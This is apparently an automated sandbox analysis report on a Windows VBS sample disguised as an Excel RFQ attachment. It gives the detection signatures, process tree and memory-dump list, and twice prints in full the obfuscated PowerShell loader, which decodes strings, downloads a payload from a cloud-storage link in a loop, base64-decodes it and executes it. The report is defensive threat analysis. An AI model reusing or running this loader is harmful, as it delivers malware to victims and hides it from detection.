Analysis
- max time kernel
93s - max time network
120s - platform
windows10-2004_x64 - resource
win10v2004-20240412-en - resource tags
- submitted
17/04/2024, 09:42
General
- Target APR 20204 RFQ .xlsx.vbs
- Size 278KB
- Sample240417-lpd3kabb99
- SHA256 f77b953a53a607e534572eda08dfaa91ad61f52491e9982a0790869c80a714c4
Score
8/10
Malware Config
Signatures
- Blocklisted process makes network request 3 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Program crash 1 IoCs
- Suspicious behavior: EnumeratesProcesses 5 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 10 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\APR 20204 RFQ .xlsx.vbs"1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Langshans225 = 1;$Forandringssaetninger='Substrin';$Forandringssaetninger+='g';Function Thysanoura($Agentens){$Oncography=$Agentens.Length-$Langshans225;For($Preindisposing=5; $Preindisposing -lt $Oncography; $Preindisposing+=(6)){$Bugtningernes+=$Agentens.$Forandringssaetninger.Invoke($Preindisposing, $Langshans225);}$Bugtningernes;}function Dryptrrendes($Eksportpriserne){& ($Peridot) ($Eksportpriserne);}$Hjlpevariabels=Thysanoura 'tilbuMIndseo autozDiscoi tenolAnskulFo.tjaSolce/Nere 5 Pie.. Comp0 Dana St mm(PaafyW PleniNonden ehngdOmbyto NebewHindespost, .ooscNIsomeT,akul Fin h1Uriel0.uzzl.Tangs0Squal;Apart OmgreWPiratiBou,inShape6Uprid4Inspe;Un.il A,elpxBana,6Fo,ur4Promi;Pro s Gemmr U snvOuts :Sikri1Eu,as2Polac1reill.ardor0 Mett)Ultra MichGPra ie Salac HuddkLituroTaxon/Demor2 Hu t0Caeom1 He r0 Wri 0.nsum1Forma0vattp1Horiz .etjeF.gedaiAs uerProgreObersfObtecoKarikxDe,at/Pull,1Pwcat2.besk1Am.rb..nwid0 Fond ';$Epiphyll=Thysanoura ' triuULimmasEnefoeF,rklrShack-Tr,nsA SithgTi.sreLgstrnMennet Unbe ';$Jellab=Thysanoura ' Ma.ehPlusgtTilskt HekspSports P.ed: Meri/Propo/rabardSarodr DithiBrystv,fikke Rele..vrfagCaukfoCo umoMiljvgF,glelB,rgaeVacuu.SmidicBetleoPolyamTessa/EntrauConstcDamef?Aftjee ynebxLnkamp,inero OpvarIntegtVaria=SampldPiloboAnnitwPo.denforbrlMegacoTrvlearo kedFor i&Ho.seiGjortdPrint= Ener1Domi,H,nter8 EnnovAccru0 Tan.ZSpr t9,rsteqS.mle8Inte Bun,reOSp.tt4UnfavU KnapTSpindEMete NDornukAtavibF,rsiTMetalaSl ngiNycteWHei.spSpinocSuperiKroke8OpenhYUndiv0KongsjCe eaY isjRTheisnGu df3 Schl ';$Afprvendes=Thysanoura ' .ima>Ankny ';$Peridot=Thysanoura 'Un,ilikropeeFletnxPa.ah ';$Dysmorfismen = Thysanoura ' Amene ZimbcBesl.hGoddaoDrake Riba%OfferaSylt,pRdnbspAnlagdCrookaRenast EmbeaHoejr%,ones\UningddisiniChefkaLsdpelSagsko EluvgKonfiiHensys Delpt Be ui uffc Ram.. Du,oH.onsce H ndd Appa d,ivi& Caus&Grews DkseeHematc forsh ndeno Dans Couac$ Uret ';Dryptrrendes (Thysanoura ',eori$Omgrug arnel .ubloH.gleb rana FinllOppus:Ri,etIMindrnTiaartAfmr.ePsykorBlegsmUdfrsoAlumid ,misiPrivilpaperlTrykki SineoDoce nSlyng=Li,en( SangcTidsbmUnduld Tet C.nc/ Ha.dcvedre Sp y$PolypDOvervy SkumsKyurimTilbuoPremur AntifExperi delesExan mJernbe OvernJounc)opels ');Dryptrrendes (Thysanoura 'Pe.se$HexylgSpan,l Fusio .raubBejlea Udd.l .mer:Topo.OTu ehmWithhs ,plakFlankrn nehi.ybfrvPublie CrimnenzymdCheckeFor,ts Ove.=Dogmi$BebudJTotale S,belComprlGi.peaInputbTog,t.Ma tisRejempServilU.areiKop,lt Bund(Mamon$ SkobA ShopfWadmopUgedar AffavUnproeAblutnT,resdFejlreSvigesmisgr)Sjlss ');$Jellab=$Omskrivendes[0];Dryptrrendes (Thysanoura 'Mistr$IdeolgBlodtlDelkloTorc bKvadraOpruslKo ke:FriheD ulfaide.ras Ars pTilsyeS.attn SarrsVrel.aUndv,tHomagiForheoKiaatnVdderskine.sPe,veaKejseg de u=Phy,aN icroeCuculw Prec-AntliO actbStan jSr.kreSaltmcD ffetHalte MazemSForehySeisms Genet FireeGabesmFog.o.IrresN La.heSubsutg,rod.Snd rW SupreAkti bLsladCVedlalfore.iSkoseeGangsnR.vistGlutt ');Dryptrrendes (Thysanoura 'Besrg$ UnbeDUltraiLinj,sKontapKundeeGunwanNarr,s UndraEmbedt colei MaksoKo.uan airs .ivssHonoraFixergSnipp.Paal.HGejsteA dicaGyng.dS iliee.mqurLejevsMasse[rebri$InconE ProtpMissii SmedpBeskuhArgusyGtvrklTsadel,tesk] S,ol=Flor.$ GaleHArga jPapirlParodpSkif,eAlkohv ashiaCombrrRiveri Un,eaA.rodbSpirieLinjelMallesMu kh ');$Weazand=Thysanoura 'BarsvDFuldkiAggras ,odspKinoteMa tin ConcsAar.maFooletChooki Cario.elefnPa zosBrugesStrggaBesidgBegiv.Ne,hrDFlintoIndtewBlaman,nreclAnoukoHar,oaV.scodTraadFHyg.eiR.sullAutomeOp.po(Forse$Dros J arkre adoplEkskolMorakaEgiskbKonve,U,trd$ Ke nDTor.he RavafFasc.l taxaoUntrorChoosa grontBo,hri.armaoAntemnVaseleBainirBenn n,umboeI,dtas U,ch)Paral ';$Weazand=$Intermodillion[1]+$Weazand;$Deflorationernes=$Intermodillion[0];Dryptrrendes (Thysanoura 'inebr$Respig MalilGynanoturnibProteaLegiol Skob:Reto,QNon.uu subjiApokrn GenbiDeuten OperiM pusa Biksz VelaaSyndet skreiSm,shobaandnNonac=Tolun( BrusTN,daneF.tilsLith,t.emie-MinutPNormaa PendtSlegfhLogik Servi$HomesDSelvoeXxivgfDjelllTnkeeo unkmrU,uguaWi,umtAvicuisubtioHundrnWe,rdeVanilrstuddnfalsle KongsMyoma)Compa ');while (!$Quininiazation) {Dryptrrendes (Thysanoura 'Tra,s$MerkagAngurlSoloeoFyrrebDrawsa kovsl unbi:Se,ipISyntarSjaskrNec,se Sowactaranopr cavPeddie LuntrDisheaUntrabDemoplAimykyBegy.=Excre$Ars ntNedefrDe.oyuastroeNowed ') ;Dryptrrendes $Weazand;Dryptrrendes (Thysanoura 'epicaSF,rretknoglata.esrExt.at expo-UmaalSDatovlFelo.eBudcyeClysipunder D rat4 Vafl ');Dryptrrendes (Thysanoura 'Gnomo$Wil agsaarrlMaj.eoHilstbRefreaAbililPrie.:FluorQAflbsuOutspiSubern HairiSerpunSkabiiB indaInd.rzke seaBodywt Thr.i E,bloPromonDelta=Fornr( edniTFroideUdstesArgumtState-DeligPZorriaS.beltMystahFugle ,epe$SveskDJordveOpskrf PhonlAfs.io TallrHjd,paBog et Uviti Han,oBasunnBlgefe uldpr D,snnPriseeBispis tils)Trans ') ;Dryptrrendes (Thysanoura 'Stoch$ Es ig.potrlAfkrfo vrghb CircaNonmalrustr:Rehy,GSatelrSteynuAnethnGibledPassaeMeteosTilba=Volum$Rowd,gViololForuro DionbscripaMacarlA.vok: godvBTouchaTillgrTheosc KnudhOve saLektrnFremmsLider+Spaer+Multi% Ordd$ Ira.OlsefrmP,ppesstropk LunerSociaiVinlav Bedve Bedsn Maand.etroeAutobsmonda. Overc,polooVi.enuEmneanI spit Calo ') ;$Jellab=$Omskrivendes[$Grundes];}Dryptrrendes (Thysanoura ' N ns$DisksgPneuml Perto ebrbSubscaStedmlAfste:KjrulABaitryS,ykkalollatR.lleoRestllMledel Fixiar.llihS.utcsCrook S,ute=Radio AfskrGSproge FribtConfa-ResweCtestio minin,ermet overe.econn ennatAvant Form$MountDOffenePriz.fGoodolPa.tro urtr Strma Perpt Selmi trinoejersn RicieErythrGrylinSyllae atrsB,vge ');Dryptrrendes (Thysanoura ' Beru$.tromg lik lBivero BewabAnsttaTeminlTwang:CerinFVu,gao S.dilOmophk ProgeVirkevIk,ndo lgedgUnpern tevs Formb SwiduOplftsFortrsAnthreUnma.rParalnBlkkeeTri e Bals=Paten Rest[ConsaSWhit y.ortusAborttPo yseFlik.m anne..rdseCSpndsoAuntlnAttenvnesioeGlamorSclert Adul] boue:Tilba:EntusFM csbr ,rbeoKvindmUegenBHoveda olups MeekeGrisk6Nonpl4,ystsSUpk itInarmr.denoiQuadrnoligogtra e(La,en$F,rmoABerriy UnsuaKar.kt GateoSlipslSpionlOverdaSmkk,h Ta bsMinet)Linie ');Dryptrrendes (Thysanoura ' Modu$HumrsgSen.ulBikseoud anbM sliaSidevldisse:D,edeHSouksoBefaml klunkFjor Indiv=Klebi Overd[MeddlSRapuny C stsTimeotFips,eU,sulmRente.viserT BiogeIrr,txBataltDivas.HaverERodomn ModecRetskoDessed Bil iA.ipon subsgIntra]Rling:acidb: BltmAPe,itStemp,Cfine,IS,utbICheck.RanchGUnculeAffortSt,msSTetart LivsrIndkai,rypsnFattigNitte( Mont$ T.ovFMyriaoForhal.npopkuansteAntikv Fo.loB.sesg NondnSensisA sesbFasteukrigssFarfesUndereHornbrGruf nMincieKorse)Kume ');Dryptrrendes (Thysanoura 'Holdk$UnkirgContolGodchoHjlpeb ImdeaOmnivl Unqu:MgtigC TufaoF rprxPrincpHeartoUngelmVildtoCand.nChi oaMakk,eGrusnr egi= Coa,$FljteHTa.zaoi flal,romokEnor .Hostes.taleuHoropb AgglsAfskrtTatovrKeybdiBlde,n rjudgSkrif(Forby2Medi.9 Over2Twe t2Blokd1.rugs4Reg o,Nonco2grsen8W ith5 Medf2Forb.4De,ol) Drgg ');Dryptrrendes $Coxpomonaer;"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo %appdata%\dialogistic.Hed && echo $"3⤵
-
-
C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Langshans225 = 1;$Forandringssaetninger='Substrin';$Forandringssaetninger+='g';Function Thysanoura($Agentens){$Oncography=$Agentens.Length-$Langshans225;For($Preindisposing=5; $Preindisposing -lt $Oncography; $Preindisposing+=(6)){$Bugtningernes+=$Agentens.$Forandringssaetninger.Invoke($Preindisposing, $Langshans225);}$Bugtningernes;}function Dryptrrendes($Eksportpriserne){& ($Peridot) ($Eksportpriserne);}$Hjlpevariabels=Thysanoura 'tilbuMIndseo autozDiscoi tenolAnskulFo.tjaSolce/Nere 5 Pie.. Comp0 Dana St mm(PaafyW PleniNonden ehngdOmbyto NebewHindespost, .ooscNIsomeT,akul Fin h1Uriel0.uzzl.Tangs0Squal;Apart OmgreWPiratiBou,inShape6Uprid4Inspe;Un.il A,elpxBana,6Fo,ur4Promi;Pro s Gemmr U snvOuts :Sikri1Eu,as2Polac1reill.ardor0 Mett)Ultra MichGPra ie Salac HuddkLituroTaxon/Demor2 Hu t0Caeom1 He r0 Wri 0.nsum1Forma0vattp1Horiz .etjeF.gedaiAs uerProgreObersfObtecoKarikxDe,at/Pull,1Pwcat2.besk1Am.rb..nwid0 Fond ';$Epiphyll=Thysanoura ' triuULimmasEnefoeF,rklrShack-Tr,nsA SithgTi.sreLgstrnMennet Unbe ';$Jellab=Thysanoura ' Ma.ehPlusgtTilskt HekspSports P.ed: Meri/Propo/rabardSarodr DithiBrystv,fikke Rele..vrfagCaukfoCo umoMiljvgF,glelB,rgaeVacuu.SmidicBetleoPolyamTessa/EntrauConstcDamef?Aftjee ynebxLnkamp,inero OpvarIntegtVaria=SampldPiloboAnnitwPo.denforbrlMegacoTrvlearo kedFor i&Ho.seiGjortdPrint= Ener1Domi,H,nter8 EnnovAccru0 Tan.ZSpr t9,rsteqS.mle8Inte Bun,reOSp.tt4UnfavU KnapTSpindEMete NDornukAtavibF,rsiTMetalaSl ngiNycteWHei.spSpinocSuperiKroke8OpenhYUndiv0KongsjCe eaY isjRTheisnGu df3 Schl ';$Afprvendes=Thysanoura ' .ima>Ankny ';$Peridot=Thysanoura 'Un,ilikropeeFletnxPa.ah ';$Dysmorfismen = Thysanoura ' Amene ZimbcBesl.hGoddaoDrake Riba%OfferaSylt,pRdnbspAnlagdCrookaRenast EmbeaHoejr%,ones\UningddisiniChefkaLsdpelSagsko EluvgKonfiiHensys Delpt Be ui uffc Ram.. Du,oH.onsce H ndd Appa d,ivi& Caus&Grews DkseeHematc forsh ndeno Dans Couac$ Uret ';Dryptrrendes (Thysanoura ',eori$Omgrug arnel .ubloH.gleb rana FinllOppus:Ri,etIMindrnTiaartAfmr.ePsykorBlegsmUdfrsoAlumid ,misiPrivilpaperlTrykki SineoDoce nSlyng=Li,en( SangcTidsbmUnduld Tet C.nc/ Ha.dcvedre Sp y$PolypDOvervy SkumsKyurimTilbuoPremur AntifExperi delesExan mJernbe OvernJounc)opels ');Dryptrrendes (Thysanoura 'Pe.se$HexylgSpan,l Fusio .raubBejlea Udd.l .mer:Topo.OTu ehmWithhs ,plakFlankrn nehi.ybfrvPublie CrimnenzymdCheckeFor,ts Ove.=Dogmi$BebudJTotale S,belComprlGi.peaInputbTog,t.Ma tisRejempServilU.areiKop,lt Bund(Mamon$ SkobA ShopfWadmopUgedar AffavUnproeAblutnT,resdFejlreSvigesmisgr)Sjlss ');$Jellab=$Omskrivendes[0];Dryptrrendes (Thysanoura 'Mistr$IdeolgBlodtlDelkloTorc bKvadraOpruslKo ke:FriheD ulfaide.ras Ars pTilsyeS.attn SarrsVrel.aUndv,tHomagiForheoKiaatnVdderskine.sPe,veaKejseg de u=Phy,aN icroeCuculw Prec-AntliO actbStan jSr.kreSaltmcD ffetHalte MazemSForehySeisms Genet FireeGabesmFog.o.IrresN La.heSubsutg,rod.Snd rW SupreAkti bLsladCVedlalfore.iSkoseeGangsnR.vistGlutt ');Dryptrrendes (Thysanoura 'Besrg$ UnbeDUltraiLinj,sKontapKundeeGunwanNarr,s UndraEmbedt colei MaksoKo.uan airs .ivssHonoraFixergSnipp.Paal.HGejsteA dicaGyng.dS iliee.mqurLejevsMasse[rebri$InconE ProtpMissii SmedpBeskuhArgusyGtvrklTsadel,tesk] S,ol=Flor.$ GaleHArga jPapirlParodpSkif,eAlkohv ashiaCombrrRiveri Un,eaA.rodbSpirieLinjelMallesMu kh ');$Weazand=Thysanoura 'BarsvDFuldkiAggras ,odspKinoteMa tin ConcsAar.maFooletChooki Cario.elefnPa zosBrugesStrggaBesidgBegiv.Ne,hrDFlintoIndtewBlaman,nreclAnoukoHar,oaV.scodTraadFHyg.eiR.sullAutomeOp.po(Forse$Dros J arkre adoplEkskolMorakaEgiskbKonve,U,trd$ Ke nDTor.he RavafFasc.l taxaoUntrorChoosa grontBo,hri.armaoAntemnVaseleBainirBenn n,umboeI,dtas U,ch)Paral ';$Weazand=$Intermodillion[1]+$Weazand;$Deflorationernes=$Intermodillion[0];Dryptrrendes (Thysanoura 'inebr$Respig MalilGynanoturnibProteaLegiol Skob:Reto,QNon.uu subjiApokrn GenbiDeuten OperiM pusa Biksz VelaaSyndet skreiSm,shobaandnNonac=Tolun( BrusTN,daneF.tilsLith,t.emie-MinutPNormaa PendtSlegfhLogik Servi$HomesDSelvoeXxivgfDjelllTnkeeo unkmrU,uguaWi,umtAvicuisubtioHundrnWe,rdeVanilrstuddnfalsle KongsMyoma)Compa ');while (!$Quininiazation) {Dryptrrendes (Thysanoura 'Tra,s$MerkagAngurlSoloeoFyrrebDrawsa kovsl unbi:Se,ipISyntarSjaskrNec,se Sowactaranopr cavPeddie LuntrDisheaUntrabDemoplAimykyBegy.=Excre$Ars ntNedefrDe.oyuastroeNowed ') ;Dryptrrendes $Weazand;Dryptrrendes (Thysanoura 'epicaSF,rretknoglata.esrExt.at expo-UmaalSDatovlFelo.eBudcyeClysipunder D rat4 Vafl ');Dryptrrendes (Thysanoura 'Gnomo$Wil agsaarrlMaj.eoHilstbRefreaAbililPrie.:FluorQAflbsuOutspiSubern HairiSerpunSkabiiB indaInd.rzke seaBodywt Thr.i E,bloPromonDelta=Fornr( edniTFroideUdstesArgumtState-DeligPZorriaS.beltMystahFugle ,epe$SveskDJordveOpskrf PhonlAfs.io TallrHjd,paBog et Uviti Han,oBasunnBlgefe uldpr D,snnPriseeBispis tils)Trans ') ;Dryptrrendes (Thysanoura 'Stoch$ Es ig.potrlAfkrfo vrghb CircaNonmalrustr:Rehy,GSatelrSteynuAnethnGibledPassaeMeteosTilba=Volum$Rowd,gViololForuro DionbscripaMacarlA.vok: godvBTouchaTillgrTheosc KnudhOve saLektrnFremmsLider+Spaer+Multi% Ordd$ Ira.OlsefrmP,ppesstropk LunerSociaiVinlav Bedve Bedsn Maand.etroeAutobsmonda. Overc,polooVi.enuEmneanI spit Calo ') ;$Jellab=$Omskrivendes[$Grundes];}Dryptrrendes (Thysanoura ' N ns$DisksgPneuml Perto ebrbSubscaStedmlAfste:KjrulABaitryS,ykkalollatR.lleoRestllMledel Fixiar.llihS.utcsCrook S,ute=Radio AfskrGSproge FribtConfa-ResweCtestio minin,ermet overe.econn ennatAvant Form$MountDOffenePriz.fGoodolPa.tro urtr Strma Perpt Selmi trinoejersn RicieErythrGrylinSyllae atrsB,vge ');Dryptrrendes (Thysanoura ' Beru$.tromg lik lBivero BewabAnsttaTeminlTwang:CerinFVu,gao S.dilOmophk ProgeVirkevIk,ndo lgedgUnpern tevs Formb SwiduOplftsFortrsAnthreUnma.rParalnBlkkeeTri e Bals=Paten Rest[ConsaSWhit y.ortusAborttPo yseFlik.m anne..rdseCSpndsoAuntlnAttenvnesioeGlamorSclert Adul] boue:Tilba:EntusFM csbr ,rbeoKvindmUegenBHoveda olups MeekeGrisk6Nonpl4,ystsSUpk itInarmr.denoiQuadrnoligogtra e(La,en$F,rmoABerriy UnsuaKar.kt GateoSlipslSpionlOverdaSmkk,h Ta bsMinet)Linie ');Dryptrrendes (Thysanoura ' Modu$HumrsgSen.ulBikseoud anbM sliaSidevldisse:D,edeHSouksoBefaml klunkFjor Indiv=Klebi Overd[MeddlSRapuny C stsTimeotFips,eU,sulmRente.viserT BiogeIrr,txBataltDivas.HaverERodomn ModecRetskoDessed Bil iA.ipon subsgIntra]Rling:acidb: BltmAPe,itStemp,Cfine,IS,utbICheck.RanchGUnculeAffortSt,msSTetart LivsrIndkai,rypsnFattigNitte( Mont$ T.ovFMyriaoForhal.npopkuansteAntikv Fo.loB.sesg NondnSensisA sesbFasteukrigssFarfesUndereHornbrGruf nMincieKorse)Kume ');Dryptrrendes (Thysanoura 'Holdk$UnkirgContolGodchoHjlpeb ImdeaOmnivl Unqu:MgtigC TufaoF rprxPrincpHeartoUngelmVildtoCand.nChi oaMakk,eGrusnr egi= Coa,$FljteHTa.zaoi flal,romokEnor .Hostes.taleuHoropb AgglsAfskrtTatovrKeybdiBlde,n rjudgSkrif(Forby2Medi.9 Over2Twe t2Blokd1.rugs4Reg o,Nonco2grsen8W ith5 Medf2Forb.4De,ol) Drgg ');Dryptrrendes $Coxpomonaer;"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo %appdata%\dialogistic.Hed && echo $"4⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3840 -s 23404⤵
- Program crash
-
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 3840 -ip 38401⤵
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_cmffvw2n.h1c.ps1
dialogistic.Hed
memory/3840-24-0x0000000006150000-0x00000000061B6000-memory.dmp
memory/3840-22-0x0000000005B20000-0x0000000006148000-memory.dmp
memory/3840-44-0x0000000074CD0000-0x0000000075480000-memory.dmp
memory/3840-42-0x0000000008DC0000-0x0000000009364000-memory.dmp
memory/3840-18-0x0000000003020000-0x0000000003056000-memory.dmp
memory/3840-19-0x0000000074CD0000-0x0000000075480000-memory.dmp
memory/3840-20-0x0000000003110000-0x0000000003120000-memory.dmp
memory/3840-35-0x00000000064F0000-0x0000000006844000-memory.dmp
memory/3840-25-0x00000000062F0000-0x0000000006356000-memory.dmp
memory/3840-23-0x0000000005A80000-0x0000000005AA2000-memory.dmp
memory/3840-41-0x0000000007B80000-0x0000000007BA2000-memory.dmp
memory/3840-40-0x0000000007BF0000-0x0000000007C86000-memory.dmp
memory/3840-21-0x0000000003110000-0x0000000003120000-memory.dmp
memory/3840-36-0x0000000006940000-0x000000000695E000-memory.dmp
memory/3840-37-0x0000000006970000-0x00000000069BC000-memory.dmp
memory/3840-38-0x0000000008190000-0x000000000880A000-memory.dmp
memory/3840-39-0x0000000006ED0000-0x0000000006EEA000-memory.dmp
memory/4676-12-0x00007FFCB1B60000-0x00007FFCB2621000-memory.dmp
memory/4676-13-0x00000231E9910000-0x00000231E9920000-memory.dmp
memory/4676-17-0x00000231E9910000-0x00000231E9920000-memory.dmp
memory/4676-3-0x00000231EBF90000-0x00000231EBFB2000-memory.dmp
memory/4676-14-0x00000231E9910000-0x00000231E9920000-memory.dmp
memory/4676-47-0x00007FFCB1B60000-0x00007FFCB2621000-memory.dmp